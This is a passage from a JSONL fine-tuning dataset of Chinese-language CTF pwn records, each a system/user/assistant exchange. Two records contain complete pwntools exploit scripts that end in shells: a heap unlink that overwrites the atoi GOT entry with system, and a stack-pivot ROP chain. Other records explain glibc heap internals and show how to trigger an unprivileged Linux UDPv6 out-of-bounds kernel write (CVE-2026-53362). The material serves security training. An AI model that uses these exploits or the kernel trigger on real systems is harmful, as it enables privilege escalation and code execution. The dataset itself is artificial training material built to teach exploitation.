u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('bamboobox.bamboobox')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\nlibc=ELF(\"/glibc/2.23/amd64/lib/libc.so.6\")\n\ndef add(length,name):\n    ru(':')\n    sl('2')\n    ru(':')\n    sl(str(length))\n    ru(':')\n    sl(name)\n\ndef edit(idx,length,name):\n    ru(':')\n    sl('3')\n    ru(\":\")\n    sl(str(idx))\n    ru(\":\")\n    sl(str(length))\n    ru(\":\")\n    sl(name)\n\ndef delete(idx):\n    ru(\":\")\n    sl(\"4\")\n    ru(\":\")\n    sl(str(idx))\n\ndef show():\n    ru(\":\")\n    sl(b\"1\")\n\n#dbg()\n\nadd(0x40,'aaaaaaaa')\nadd(0x80,'bbbbbbbb')\nadd(0x80,'cccccccc')\n\nptr = 0x6020C8  #存放chunk指针的数组在bss段上的地址\n\n#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)\n#伪造的fake_chunk为free状态\nfake_chunk = p64(0) + p64(0x41)  #fake_chunk header\nfake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake_chunk fd  bk\nfake_chunk += b'C'*0x20\n\n#覆盖后一个chunk的prev_size和size\n#让它的prev_size表示前一个chunk的大小，并且chunk的size改为0x90让其不会释放进入fastbins\nfake_chunk += p64(0x40) # 1的presize\nfake_chunk += p64(0x90) # 1的size\n\n#进行堆溢出\nedit(0,0x80,fake_chunk)\n#释放掉chunk1，进行合并\ndelete(1)  #前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 ptr = &itemlist0_ptr -0x18\npayload = p64(0)*2 + p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got\nedit(0,0x80,payload)\n\nshow()\n\nru('0 : ')\natoi = uu64()\nlibc_base = atoi - libc.sym['atoi']\nlg(\"libc_base\",libc_base)\nsystem,sh = get_sb()\n\n#将itemlist[0]即atoi函数的got表修改为system\n#通过编辑通过编辑got表指针，实现任意地址写\nedit(0,8,p64(system))\n#然后通过atoi进行getshell\nsla('Your choice:','/bin/sh\\x00')\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-cb8e8714c09f576c", "original_line": 7, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f024ec647974220eb13a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「arena」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### arena\n\n大部分情况下对于每个线程而言其都会单独有着一个`arena`实例用以管理属于该线程的堆内存区域。\n\n`ptmalloc`内部的内存池是由`malloc_state`结构体进行定义的，即`arena`本身便为`malloc_state`的一个实例对象。\n\n`malloc_state`结构体定义于`malloc.c`中，代码如下：\n\n```c\nstruct malloc_state\n{\n  /* Serialize access.  */\n  mutex_t mutex;\n\n  /* Flags (formerly in max_fast).  */\n  int flags;\n\n  /* Fastbins */\n  //NFASTBINS宏用于计算fastbin数组的大小\n  //#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)\n\n  //MAX_FAST_SIZE是glibc中定义的最大fastbin大小，通常为一个常量\n  //#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)\n  //64位下为160,32位为80\n\n  //首先通过request2size将申请的内存大小转化为合适的chunk大小\n  /*#define request2size(req) \\\n  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ? \\\n   MINSIZE : \\\n   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)\n   */\n\n  //64位结果为172，32位结果为84\n  //然后通过fastbin_index计算chunk size对应的fastbin索引\n  //32位结果为9，64位结果也为9\n\n  //实际上fastbinY数组的大小是10，这是因为额外保留了一个位置用于其它特殊目的\n  mfastbinptr fastbinsY[NFASTBINS];\n\n  /* Base of the topmost chunk -- not otherwise kept in a bin */\n  mchunkptr top;\n\n  /* The remainder from the most recent split of a small request */\n  mchunkptr last_remainder;\n\n  /* Normal bins packed as described above */\n  //NBINS是一个宏定义，值为128\n  //bins[254]\n  mchunkptr bins[NBINS * 2 - 2];\n\n  /* Bitmap of bins */\n  //BINMAPSIZE (NBINS / BITSPERMAP)\n  //结果为4\n  unsigned int binmap[BINMAPSIZE];\n\n  /* Linked list */\n  //指向下一个arena\n  struct malloc_state *next;\n\n  /* Linked list for free arenas.  Access to this field is serialized\n     by free_list_lock in arena.c.  */\n  //指向下一个空闲内存区域的指针\n  struct malloc_state *next_free;\n\n  /* Number of threads attached to this arena.  0 if the arena is on\n     the free list.  Access to this field is serialized by\n     free_list_lock in arena.c.  */\n  //在多线程内存管理中，记录当前有多少个线程与特定的arena相关联\n  INTERNAL_SIZE_T attached_threads;\n\n  /* Memory allocated from the system in this arena.  */\n  INTERNAL_SIZE_T system_mem;\n  INTERNAL_SIZE_T max_system_mem;\n};\n```\n\n+ 2.27\n\n```c\n__libc_lock_define (, mutex);\n\n/* Flags (formerly in max_fast).  */\nint flags;\n\n/* Set if the fastbin chunks contain recently inserted free blocks.  */\n/* Note this is a bool but not all targets support atomics on booleans.  */\nint have_fastchunks;\n```\n\n`malloc_state`结构体的成员如下：\n\n+ `mutex`：`mutex`变量即为多线程互斥锁，用以保证线程安全。\n+ `flags`：标志位，用以表示`arena`的一些状态，如：是否有`fastbin`、内存是否连续等。\n+ `fastbinY`：存放 fastbin chunk的数组，一共有10个fastbin chunk。\n+ `top`：指向`Top chunk`的指针。\n+ `last_remainder`：`chunk`切割中的剩余部分。`malloc`在分配`chunk`时若是没找到`size`合适的`chunk`而是找到了一个`size`更大的`chunk`，则会从大`chunk`中切割掉一块返回给用户，剩下的那一块便是`last_remainder`，其随后会被放入`unsorted bin`中。\n+ `bins`：存放闲置`chunk`的数组。`bins`包括`large bin`，`small bin`和`unsorted bin`。\n+ `binmap`：记录`bin`是否为空的`bitset`。需要注意的是`chunk`被取出后若一个`bin`空了并不会立即被置0，而会在下一次遍历到时重新置位。\n+ `system_mem`：记录当前`arena`在堆区中所分配到的内存的总大小。\n+ `max_system_mem`：当操作系统予进程以内存时，`system_mem`会随之增大，当内存被返还给操作系统时，`system_mem`会随之减小，`max_system_mem`变量便是用来记录在这个过程中`system_mem`的峰值。\n\n在gdb调试中我们可以通过`p &main_arena`来查看`main arena`\n\n`main_arena`为一个定义于`malloc.c`中的静态的`malloc_state`结构体。\n\n```c\n/* There are several instances of this struct (\"arenas\") in this\n   malloc.  If you are adapting this malloc in a way that does NOT use\n   a static or mmapped malloc_state, you MUST explicitly zero-fill it\n   before using. This malloc relies on the property that malloc_state\n   is initialized to all zeroes (as is true of C statics).  */\n\nstatic struct malloc_state main_arena =\n{\n  .mutex = _LIBC_LOCK_INITIALIZER,\n  .next = &main_arena,\n  .attached_threads = 1\n};\n```\n\n由于其为 libc 中的静态变量，该`arena`会随着 libc 文件一同加载到 Memory Mapping Segment。因此在堆题中通常通过泄露`arena`的地址以获得 libc 在内存中的基地址。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-cc64b687401714a5", "original_line": 99, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f096d08a7b1785eaaab5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/2018 安恒 over/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/2018 安恒 over/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n- `get_sb`\n\n关键常量/偏移样例：\n`0x400676`, `0x4006be`, `0x400793`, `0x0000000000400509`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('over')\nio = process([elf.path])\nlibc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')\n#libc = ELF('/buu/64/libc-2.23.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ndbg()\n\n#泄露rbp\npayload = b'a' * 0x50\nr()\ns(payload)\n\nrbp_addr =  u64(ru(b\"\\n\")[-7:-1] + b'\\x00\\x00')\nlg(\"rbp\",rbp_addr)\n\n#gadget\npop_rdi = 0x400793\nputs_got = elf.got.puts\nputs_plt = elf.plt.puts\nret=0x0000000000400509\nvuln = 0x400676\nleave_ret = 0x4006be\npause()\n\n#前面填充的\"a\"是因为程序并不会执行它\n#这里的0x70是因为\npayload=b\"a\"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b\"a\"*40+p64(rbp_addr-0x70)+p64(leave_ret)\n\ns(payload)\n\nlibc.address = l64()-libc.sym.puts\nlg(\"libc base\",libc.address)\nsys = libc.sym.system\nsh = next(libc.search(b\"/bin/sh\\x00\"))\nlg(\"system\",sys)\nlg(\"sh\",sh)\n\npayload = b\"a\"*8 + p64(pop_rdi)+ p64(sh)+p64(ret)+ p64(sys) + p64(vuln) + b\"a\"*32 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)\n\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-4bc309ea2624554b", "original_line": 572, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2018 安恒 over/exp.py", "split": "train", "split_group_key": "b90e030fd052afd3d1a750bf"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2018 安恒 over/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f0a56cbaabd0acb76c28", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「malloc_hook」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### malloc_hook\n\n如果 hook 有内容，那么执行hook的内容。\n\n```c\nvoid *\n__libc_malloc (size_t bytes)\n{\n  mstate ar_ptr;\n  void *victim;\n\n  void *(*hook) (size_t, const void *)\n    = atomic_forced_read (__malloc_hook);\n  if (__builtin_expect (hook != NULL, 0))\n    return (*hook)(bytes, RETURN_ADDRESS (0));\n```\n\ngdb 调试查看一下，查看`__malloc_hook`地址。\n\np &__malloc_hook\n\n然后通过`tel`查看地址上是否有内容，可以看到地址内容为空。\n\n如果这个地址内容是一个函数比如`system`，那么调用`malloc`函数就会执行`system`函数。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1e26842aab4598d5", "original_line": 60, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f1151c58de6f40c79ee0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「全文」。\n资料来源：Kernel/CVE-2026-53362_lts/metadata.json；主题：metadata；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "{\n  \"$schema\": \"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json\",\n  \"submission_ids\": [\"exp522\"],\n  \"vulnerability\": {\n    \"summary\": \"UDPv6 MSG_SPLICE_PAGES fraggap accounting can write past the skb linear area into skb_shared_info\",\n    \"patch_commit\": \"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=736b380e28d0480c7bc3e022f1950f31fe53a7c5\",\n    \"cve\": \"CVE-2026-53362\",\n    \"affected_versions\": [\"6.6-rc1 - 6.12.94\"],\n    \"requirements\": {\n      \"attack_surface\": [],\n      \"capabilities\": [],\n      \"kernel_config\": [\"CONFIG_IPV6\"]\n    }\n  },\n  \"exploits\": {\n    \"lts-6.12.85\": {\n      \"uses\": [],\n      \"requires_separate_kaslr_leak\": false,\n      \"stability_notes\": \"95%\"\n    }\n  }\n}", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a74b3c2c39284e90", "original_line": 399, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/metadata.json", "split": "train", "split_group_key": "a7fd83c6bc2ecc835eaada5f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/metadata.json", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f1a3164e97a997519229", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「heap_info」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### heap_info\n\n`heap_info`位于一个`heap`块的开头，用以记录通过`mmap`系统调用从 Memory Mapping Segment 处申请到的内存块的信息。定义于`arena.c`中。\n\n```c\n/* A heap is a single contiguous memory region holding (coalesceable)\n   malloc_chunks.  It is allocated with mmap() and always starts at an\n   address aligned to HEAP_MAX_SIZE.  */\n\ntypedef struct _heap_info\n{\n  mstate ar_ptr; /* Arena for this heap. */\n  struct _heap_info *prev; /* Previous heap. */\n  size_t size;   /* Current size in bytes. */\n  size_t mprotect_size; /* Size in bytes that has been mprotected\n                           PROT_READ|PROT_WRITE.  */\n  /* Make sure the following data is properly aligned, particularly\n     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of\n     MALLOC_ALIGNMENT. */\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];\n} heap_info;\n```\n\n`heap_info`结构体的成员如下：\n\n+ `ar_ptr`：指向管理该堆块的`arena`\n+ `prev`：该`heap_info`所链接的上一个`heap_info`\n+ `size`：记录该堆块的大小\n+ `mprotect_size`：记录该堆块中被保护（`mprotected`）的大小。\n+ `pad`：即`padding`，用以在`SIZE_SZ`不正常的情况下进行填充以让内存对齐，正常情况下`pad`所占用空间应为0字节。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6cef0e7c5f91f415", "original_line": 85, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f251d63b8cc4538fa825", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「define TCACHE_MAX_BINS                64」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# define TCACHE_MAX_BINS                64\n\nstatic __thread tcache_perthread_struct *tcache = NULL;\n```\n\n对应结构如下\n\n\n\n每个`thread`都会维护一个 `tcache_perthread_struct` ，它是整个 `tcache` 的管理结构，一共有 `TCACHE_MAX_BINS` 个计数器和 `TCACHE_MAX_BINS` 项 `tcache_entry`。这个结构在 `tcache_init` 函数中被初始化在堆上，大小为 0x250（高版本为 0x290）。其中数据部分前 0x40 为 `counts` ，剩下的为 `entries` 结构。如果能控制这个堆块就可以控制整个 `tcache` 。\n\n```plain\nstatic void\ntcache_init(void)\n{\n  mstate ar_ptr;\n  void *victim = 0;\n  const size_t bytes = sizeof (tcache_perthread_struct);\n\n  if (tcache_shutting_down)\n    return;\n\n  arena_get (ar_ptr, bytes);\n  victim = _int_malloc (ar_ptr, bytes);\n  if (!victim && ar_ptr != NULL)\n    {\n      ar_ptr = arena_get_retry (ar_ptr, bytes);\n      victim = _int_malloc (ar_ptr, bytes);\n    }\n\n  if (ar_ptr != NULL)\n    __libc_lock_unlock (ar_ptr->mutex);\n\n  /* In a low memory situation, we may not be able to allocate memory\n     - in which case, we just keep trying later.  However, we\n     typically do this very early, so either there is sufficient\n     memory, or there isn't enough memory to do non-trivial\n     allocations anyway.  */\n\n  if (victim)\n    {\n      tcache = (tcache_perthread_struct *) victim;\n      memset (tcache, 0, sizeof (tcache_perthread_struct));\n    }\n}\n```\n\n`tcache_perthread_struct` 中的 `tcache_entry` 用单向链表的方式链接了相同大小的处于空闲状态（`free` 后）的 `chunk`，这一点上和 fast bin 很像。\n\n另外与`fast bin`相同的是释放进入 `tcache` 的 `chunk` 的下一个相邻 `chunk` 的 `PREV_INUSE` 位不清零。\n\n`counts` 记录了 `tcache_entry` 链上空闲 `chunk` 的数目，每条链上最多可以有 7 个 `chunk` 。注意指针指向的位置是 `fd` 指针，这一点与`fast bin`不同。结构如下：\n\n\n\nstash 机制：\n\n当申请的大小在 `tcache` 范围的 `chunk` 在 `tcache` 中没有，此时 ptmalloc 会在其他 `bin` 里面找，如果找到了会将该 `chunk` 放到 `tcache` 中，直到 `tcache` 填满，最后直接返回找到的 `chunk` 或是从 `tcache` 中取出并返回。\n\n安全检查：\n\n+ tcache key（only libc2.29 and up）：自 glibc2.29 版本起 `tcache` 新增了一个 key 字段，该字段位于 `chunk` 的 bk 字段，值为 `tcache` 结构体的地址，若 `free()` 检测到 `chunk->bk == tcache` 则会遍历 `tcache` 查找对应链表中是否有该 `chunk`最新版本的一些老 glibc （如新版2.27等）也引入了该防护机制\n+ Safe linking 机制（only glibc2.32 and up）：与`fast bin`类似。绕过方法：\n  - 在 `tcache` 的一个 `entry` 中放入第一个 `chunk` 时，其同样会对该 `entry` 中的 “`chunk`” （NULL）进行异或运算后写入到将放入 `tcache` 中的 `chunk` 的 `fd` 字段，若是我们能够打印该 free chunk 的 `fd` 字段，便能够直接获得未经异或运算的堆上相关地址（右移 12 位）\n  - 在 `tcache->entry` 中存放的仍是未经加密过的地址，若是我们能够控制 `tcache` 管理器则仍可以在不知道堆相关地址时进行任意地址写。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-74aef6208e5584ef", "original_line": 89, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f2c943edab69bf61b28e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n\n#include \n\n/**\n * @defgroup util_classes Utility Classes\n * @brief Helper classes for various utilities.\n */\n\n/**\n * @ingroup util_classes\n * @brief Custom exception class for ExpKit-specific errors.\n */\nstruct ExpKitError : public std::runtime_error {\n    /**\n     * @brief Constructs an ExpKitError with a single error message.\n     * @param error_msg The error message.\n     */\n    template \n    ExpKitError(const char* error_msg): std::runtime_error(error_msg) {}\n\n    /**\n     * @brief Constructs an ExpKitError with a formatted error message.\n     * @tparam Args The types of the arguments for the format string.\n     * @param format The format string.\n     * @param args The arguments for the format string.\n     */\n    template \n    ExpKitError(const char* format, const Args&... args): std::runtime_error(format_str(format, args...)) {}\n};\n\n/**\n * @ingroup util_classes\n * @brief Represents an error based on the current value of errno.\n */\nstruct errno_error: std::system_error {\n    /**\n     * @brief Constructs an errno_error with the current errno value.\n     */\n    errno_error();\n\n    /**\n     * @brief Constructs an errno_error with the current errno value and an additional message.\n     * @param __what An additional message describing the error.\n     */\n    errno_error(const char* __what);\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b0fec02d62684a1b", "original_line": 313, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h", "split": "train", "split_group_key": "160179be042a6166f9716e75"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f39d559a25e7d30f62b4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Triggering the Fraggap out-of-bounds write」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Triggering the Fraggap out-of-bounds write\n\nThe vulnerable path is the UDPv6 corking path in `__ip6_append_data()`. The\nexploit creates an unprivileged IPv6 datagram socket on loopback, disables PMTU\ndiscovery, sets the socket MTU to `1287`, installs a 320-byte type-4 IPv6\nrouting header, and enables `UDP_CORK`. Data is then sent from pipes with\n`splice(..., SPLICE_F_MORE)`, which reaches the `MSG_SPLICE_PAGES` paged\nallocation path.\n\nThe trigger geometry is:\n\n| Value | Purpose |\n| --- | --- |\n| `IPV6_EXT_LEN = 320` | Makes `fragheaderlen` equal to 360 bytes, including the IPv6 header |\n| `TARGET_MTU = 1287` | Produces `maxfraglen = 1272` |\n| `FIRST_SPLICE_LEN = 919` | Builds a 1287-byte first skb, 15 bytes beyond `maxfraglen` |\n| `SECOND_SPLICE_LEN = 20` | Enters the vulnerable new-skb path and then appends one valid page fragment |\n| `SHINFO_INBUF_OFF = 904` | Selects the first payload byte copied beyond the fragment boundary |\n\nThe first skb contains 360 bytes of IPv6 headers, an 8-byte UDP header, and\n919 bytes of pipe-backed payload. Its length is therefore 1287 bytes, while\n`maxfraglen` is 1272, so the second splice computes:\n\n```text\nfraggap = skb_prev->len - maxfraglen = 1287 - 1272 = 15\n```\n\nFor the new paged skb, the vulnerable branch accounts for that gap in\n`datalen` but not in the linear allocation:\n\n```text\ndatalen  = length + fraggap\nalloclen = fragheaderlen + transhdrlen\npagedlen = datalen - transhdrlen\ndata     = skb_put(skb, fraglen - pagedlen)\ncopy fraggap bytes to data + transhdrlen\n```\n\nOn this second skb, `transhdrlen` is zero. Consequently,\n`fraglen - pagedlen` collapses to the 360-byte fragment-header area, and\n`data + transhdrlen` points at the end of the linear data. The subsequent\n15-byte `skb_copy_and_csum_bits()` operation copies the tail of the previous\nskb directly into offsets `0x00..0x0e` of the trailing\n`struct skb_shared_info`.\n\nThe copied bytes come from first-splice payload offsets `904..918`. The input\nis zeroed except for:\n\n```c\ntrig[SHINFO_INBUF_OFF + 2] = 1;\n```\n\nOffset `0x02` of `struct skb_shared_info` is `nr_frags`, so the out-of-bounds\ncopy changes it to one. The fragment array starts at offset `0x30` and is not\noverwritten by the 15-byte copy.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5fcf3e6bbc4ca0c8", "original_line": 392, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
